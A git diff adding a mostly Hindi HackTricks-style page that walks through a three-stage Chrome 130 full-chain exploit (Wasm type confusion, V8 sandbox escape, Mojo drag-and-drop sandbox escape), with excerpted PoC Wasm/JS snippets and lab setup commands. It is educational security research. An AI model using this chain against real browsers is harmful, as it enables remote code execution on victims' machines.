diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 188446a3f..b09540790 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -761,6 +761,7 @@
   - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
     - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
+- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 - [Integer Overflow](binary-exploitation/integer-overflow.md)
 - [Format Strings](binary-exploitation/format-strings/README.md)
   - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md
new file mode 100644
index 000000000..a6e994c5e
--- /dev/null
+++ b/src/binary-exploitation/chrome-exploiting.md
@@ -0,0 +1,168 @@
+# Chrome Exploiting
+
+{{#include ../banners/hacktricks-training.md}}
+
+> यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का एक उच्च-स्तरीय लेकिन **व्यावहारिक** अवलोकन प्रदान करता है, जो **“101 Chrome Exploitation”** (भाग-0 — प्रस्तावना) पर आधारित है।  
+> लक्ष्य यह है कि पेंटेस्टर्स और शोषण-डेवलपर्स को अपनी स्वयं की अनुसंधान के लिए तकनीकों को पुन: उत्पन्न या अनुकूलित करने के लिए आवश्यक न्यूनतम पृष्ठभूमि प्रदान की जाए।
+
+## 1. Chrome Architecture Recap
+हमले की सतह को समझने के लिए यह जानना आवश्यक है कि कोड कहाँ निष्पादित होता है और कौन से सैंडबॉक्स लागू होते हैं।
+```
++-------------------------------------------------------------------------+
+|                             Chrome Browser                              |
+|                                                                         |
+|  +----------------------------+      +-----------------------------+    |
+|  |      Renderer Process      |      |    Browser/main Process     |    |
+|  |  [No direct OS access]     |      |  [OS access]                |    |
+|  |  +----------------------+   |      |                             |    |
+|  |  |    V8 Sandbox        |   |      |                             |    |
+|  |  |  [JavaScript / Wasm] |   |      |                             |    |
+|  |  +----------------------+   |      |                             |    |
+|  +----------------------------+      +-----------------------------+    |
+|               |           IPC/Mojo              |                       |
+|               V                                    |                     |
+|  +----------------------------+                   |                     |
+|  |        GPU Process         |                   |                     |
+|  |  [Restricted OS access]    |                   |                     |
+|  +----------------------------+                   |                     |
++-------------------------------------------------------------------------+
+```
+Layered defence-in-depth:
+
+* **V8 sandbox** (Isolate): मेमोरी अनुमतियाँ मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं JITed JS / Wasm से।
+* **Renderer ↔ Browser split** सुनिश्चित किया गया है **Mojo/IPC** संदेश पासिंग के माध्यम से; renderer के पास *कोई* मूल FS/नेटवर्क पहुंच नहीं है।
+* **OS sandboxes** प्रत्येक प्रक्रिया को और सीमित करते हैं (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles)।
+
+एक *remote* हमलावर को इसलिए **तीन** लगातार प्राइमिटिव्स की आवश्यकता है:
+
+1. V8 के अंदर मेमोरी भ्रष्टाचार ताकि **V8 heap के अंदर मनमाना RW प्राप्त किया जा सके**।
+2. एक दूसरा बग जो हमलावर को **V8 sandbox से पूर्ण renderer मेमोरी में भागने** की अनुमति देता है।
+3. एक अंतिम sandbox-escape (अक्सर लॉजिक के बजाय मेमोरी भ्रष्टाचार) को कोड निष्पादित करने के लिए **Chrome OS sandbox के बाहर**।
+
+---
+
+## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
+
+TurboFan के **Turboshaft** ऑप्टिमाइजेशन में एक दोष **WasmGC संदर्भ प्रकारों** को गलत वर्गीकृत करता है जब मान एक *एकल बेसिक ब्लॉक लूप* के अंदर उत्पन्न और उपभोग किया जाता है।
+
+प्रभाव:
+* कंपाइलर **प्रकार-चेक को छोड़ देता है**, एक *संदर्भ* (`externref/anyref`) को *int64* के रूप में मानते हुए।
+* तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR प्राइमिटिव्स**।
+
+Minimal PoC (excerpt):
+```WebAssembly
+(module
+(type $t0 (func (param externref) (result externref)))
+(func $f (param $p externref) (result externref)
+(local $l externref)
+block $exit
+loop $loop
+local.get $p      ;; value with real ref-type
+;; compiler incorrectly re-uses it as int64 in the same block
+br_if $exit       ;; exit condition keeps us single-block
+br   $loop
+end
+end)
+(export "f" (func $f)))
+```
+ट्रिगर ऑप्टिमाइजेशन और JS से स्प्रे ऑब्जेक्ट्स:
+```js
+const wasmMod = new WebAssembly.Module(bytes);
+const wasmInst = new WebAssembly.Instance(wasmMod);
+const f = wasmInst.exports.f;
+
+for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT
+
+// primitives
+let victim   = {m: 13.37};
+let fake     = arbitrary_data_backed_typedarray;
+let addrVict = addrOf(victim);
+```
+Outcome: **मनमाने पढ़ने/लिखने की क्षमता V8 के भीतर**।
+
+---
+
+## 3. स्टेज 2 – V8 सैंडबॉक्स से बाहर निकलना (issue 379140430)
+
+जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक **JS ↔ Wasm wrapper** उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय **`Tuple2`** ऑब्जेक्ट के अंत से परे लिखता है जब Wasm फ़ंक्शन को *स्टैक पर रहते हुए* फिर से ऑप्टिमाइज़ किया जाता है।
+
+`Tuple2` ऑब्जेक्ट के 2 × 64-बिट फ़ील्ड को ओवरराइट करने से **Renderer प्रक्रिया के भीतर किसी भी पते पर पढ़ने/लिखने की क्षमता** मिलती है, जो V8 सैंडबॉक्स को प्रभावी ढंग से बायपास करती है।
+
+शोषण के मुख्य चरण:
+1. फ़ंक्शन को **Tier-Up** स्थिति में लाना टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके।
+2. स्टैक पर एक संदर्भ रखते हुए टियर-अप को ट्रिगर करना (`Function.prototype.apply`)।
+3. निकटवर्ती `Tuple2` को खोजने और भ्रष्ट करने के लिए स्टेज-1 AAR/AAW का उपयोग करना।
+
+Wrapper पहचान:
+```js
+function wrapperGen(arg) {
+return f(arg);
+}
+%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
+wrapperGen(0x1337n);
+```
+After corruption we possess a fully-featured **renderer R/W primitive**.
+
+---
+
+## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
+
+The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters.  By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.
+
+इसका दुरुपयोग करते हुए हम प्रोग्रामेटिकली एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लेखनीय स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।
+
+Example (simplified):
+```js
+const payloadPath = "C:\\Users\\Public\\explorer.exe";
+
+chrome.webview.postMessage({
+type: "DragStart",
+data: {
+title: "MyFile",
+file_path: payloadPath,
+mime_type: "application/x-msdownload"
+}
+});
+```
+कोई अतिरिक्त मेमोरी भ्रष्टाचार आवश्यक नहीं है - **लॉजिक फ्लॉ** हमें उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने फ़ाइल निष्पादन की अनुमति देता है।
+
+---
+
+## 5. पूर्ण श्रृंखला प्रवाह
+
+1. **उपयोगकर्ता** दुर्भावनापूर्ण वेबपृष्ठ पर जाता है।
+2. **चरण 1**: Wasm मॉड्यूल CVE-2025-0291 का दुरुपयोग करता है → V8 हीप AAR/AAW।
+3. **चरण 2**: व्रैपर असंगति `Tuple2` को भ्रष्ट करता है → V8 सैंडबॉक्स से बाहर निकलता है।
+4. **चरण 3**: `startDragging()` IPC → OS सैंडबॉक्स से बाहर निकलता है और पेलोड निष्पादित करता है।
+
+परिणाम: **रिमोट कोड निष्पादन (RCE)** होस्ट पर (Chrome 130, Windows/Linux/macOS)।
+
+---
+
+## 6. प्रयोगशाला और डिबगिंग सेटअप
+```bash
+# Spin-up local HTTP server w/ PoCs
+npm i -g http-server
+git clone https://github.com/Petitoto/chromium-exploit-dev
+cd chromium-exploit-dev
+http-server -p 8000 -c -1
+
+# Windows kernel debugging
+"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
+```
+Chrome के *development* बिल्ड को लॉन्च करते समय उपयोगी फ्लैग:
+```bash
+chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
+```
+---
+
+## Takeaways
+
+* **WebAssembly JIT बग** एक विश्वसनीय प्रवेश बिंदु बने रहते हैं - प्रकार प्रणाली अभी भी युवा है।
+* V8 के अंदर एक दूसरा मेमोरी-करप्शन बग प्राप्त करना (जैसे कि wrapper mismatch) **V8-sandbox escape** को बहुत सरल बनाता है।
+* विशेष Mojo IPC इंटरफेस में लॉजिक-स्तरीय कमजोरियाँ अक्सर **अंतिम sandbox escape** के लिए पर्याप्त होती हैं - *non-memory* बग पर नज़र रखें।
+
+## References
+* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
+* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
+{{#include ../banners/hacktricks-training.md}}